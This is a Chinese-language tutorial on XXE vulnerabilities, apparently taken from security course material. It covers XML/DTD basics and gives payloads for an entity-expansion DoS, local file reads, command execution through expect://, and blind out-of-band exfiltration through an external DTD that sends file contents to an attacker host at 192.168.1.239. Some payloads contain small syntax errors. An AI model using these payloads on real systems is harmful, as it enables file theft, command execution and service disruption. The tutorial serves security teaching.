XXE漏洞

本文内容来自蚁景网安课程

XXE概述

XXE(XML External Entity,外部实体漏洞),当应用程序解析XML输入时,如果没有禁止外部实体的加载,导致可加载恶意外部文件和代码,就会造成任意文件读取、命令执行、内网端口扫描、攻击内网网站等。

XML介绍

XML基础

XML是一种用于标记电子文件使其具有结构性的可扩展标记语言。

XML是一种非常灵活的语言,类似于HTML语言,但是并没有固定的标签,所有的标签都可以自定义,其设计的宗旨是传输数据,而不是像HTML一样显示数据。

XML文档结构包括:XML声明、DTD文档类型定义(可选)、文档元素

<?XML version="1.0" encoding="UTF-8"?>
<!DOCTYPE book[
        <!ELEMENT book (name,author,year)>
        <!ELEMENT name (#PCDATA)>
        <!ELEMENT author (#PCDATA)>
        <!ELEMENT year (#PCDATA)>
]>
<book>
<name>XML</name>
<author>XML</author>
<year>2020</year>
<price>100.00</price>
</book>

1.<?XML ?>是XML的一个标记,用于告诉浏览器这个文档是XML文档。

2.version=“1.0” 用于说明当前XML的版本,version属性是必须的。

3.encoding=”utf-8“ encoding属性:用于说明当前XML文档使用的字符编码集,XML解析器会使用这个编码来解析XML文档。encoding属性是可选的,默认为UTF-8。注意,如果当前XML文档使用的字符编码集是gb2312,而encoding属性的值为UTF-8,那么一定会出错的。

DTD介绍

DTD(Document Type Definition,文档类型定义)用来为XML文档定义语义约束。DTD实体是用于定义引用普通文本或特殊字符的快捷方式的变量,可以内部声明或外部引用。

1.我们可以把DTD理解为一个模板,这个模板中定义了用户自己创建的根元素以及对应的子元素和根元素的合法子元素和属性。

2.而“文档元素”则必须以我们的DTD模板,来对XML的元素的内容进行相应的规范化。

3.除了在DTD中定义元素(其实就是对应XML中的标签)以外,我们还能在DTD中定义实体。(对应XML标签中的内容)

DTD声明

内部声明

DTD被包含在XML源文件中。

语法:

<!DOCTYPE 根元素[元素声明]>

里面的PCDATA为元素的类型说明,除此之外还要CDATA等等(类似数据库里面的设定字段类型)。

内部普通实体漏洞-DDos

可以无限叠加,例如1*2*3*4*5*6*7*8这样无限叠加下去会造成服务器解析内容过多造成DDos。

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
        <!ELEMENT foo ANY>
        <!ENTITY bar "World">
        <!ENTITY t1 "&bar;&bar;">
        <!ENTITY t2 "&t1;&t1;&t1;&t1;">
        <!ENTITY t3 "&t2;&t2;&t2;&t2;&t2;">
    ]>
<foo> Hello &t3;</foo>

外部声明

DTD被包含在XML源文件外部。

语法:

<!DOCTYPE 根元素 SYSTEM "文件名/url地址">

外部普通实体

声明:

<!ENTITY 实体名称 SYSTEM "URI/URL">
<!ENTITY 实体名称 PUBLIC "DTD标识名" "公用DTD的URI">

SYSTEM及PUBLIC区别:

PUBLIC是指公用DTD,其是某个权威机构制定,供特定行业或公司。

SYSTEM是指该外部DTD文件是私有的,即我们自己创建的,没有公开发行,只是个人或在公司内部或几个合作单位之间使用。

公用DTD使用PUBLIC代替原来的SYSTEM,并增加了DTD标识名。

各语言引用外部实体时支持的一些协议

libxml2 PHP Java .NET
file file http file
http http https http
ftp ftp ftp https
php file ftp
compress.zlib jar
compress.bzip2 netdoc
data mailto
glob gopher
phar

示例1:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo[
    <!ELEMENT foo ANY>
<!ENTITY xxe SYSTEM "file:///C:/windows/win.ini">
]>
<foo> &xxe; </foo> 

示例2:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo[
        <!ENTITY bar SYSTEM "php://filter/read=convert.base64-encode/resource=d:xxetest.txt">
    ]>
<hell>
hello &bar;
</hell>

可回显XXE

可以直接解析XML并把执行结果进行返回。

文件读取

坑点

当遇到文件里有特殊字符] <等就会报错,无法读取到内容,那么可以借助伪协议读取。

<!ENTITY bar SYSTEM "php://filter/read=convert.base64-encode/resource=d:xxetest.txt">

内部普通实体漏洞-DDos(慎用)

见上文。

命令执行(基本遇不到)

当目标机器安装并加载了PHP的expect扩展,可以执行系统命令。(由于except封装协议默认未开启,这个扩展不是默认安装的,所以很少碰到)

用法:expect://command

<?xml version="1.0"?>
<!DOCTYPE root [
        <!ENTITY xxe SYSTEM "expect://id">  
    ]>
<root>&xxe;</root>

无回显的XXE漏洞

XXE有个特性:当访问的远程文件是XML文件时,也会当成XML直接执行,所以可以去远程读取一个XML文件进行执行。

首先可以定义一个参数实体,值为用file协议请求本地文件。

接下来,定义另一个参数实体,将其引用进来。

但是几乎所有XML解析器都不会解析同级参数实体的内容,所有可以引用外部的DTD(向自己的服务器中写入DTD文件)。

实体值不能有%,故将其进行编码。

POST内容:

<?xml version="1.0"?>
<!DOCTYPE foo SYSTEM "http://192.168.1.239/cevil.dtd"

cevil.dtd

<!ENTITY % payload SYSTEM "file:///d:/1.txt">
<!ENTITY % int "<!ENTITY &#37; trick SYSTEM 'http://192.168.1.239:8998/%payload;'>">
%int;
%trick;

POST2内容:

<?xml version="1.0"?>
<!DOCTYPE ANY[
        <!ENTITY % dtd SYSTEM "http://192.168.1.239/cevil.dtd">
        %dtd;
        %int;
        %send;
    ]

cevil2.dtd

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///C:/windows/win.ini">
<!ENTITY % int "<ENTITY &#37; send SYSTEM 'http://192.168.1.239:8998/?p=%file;'>">

文件上传XXE

漏洞点:xlsx、docx等文件是由XML组成的,我们可以去修改里面的XML,然后再预览或者解析的时候就会去执行里面的XML。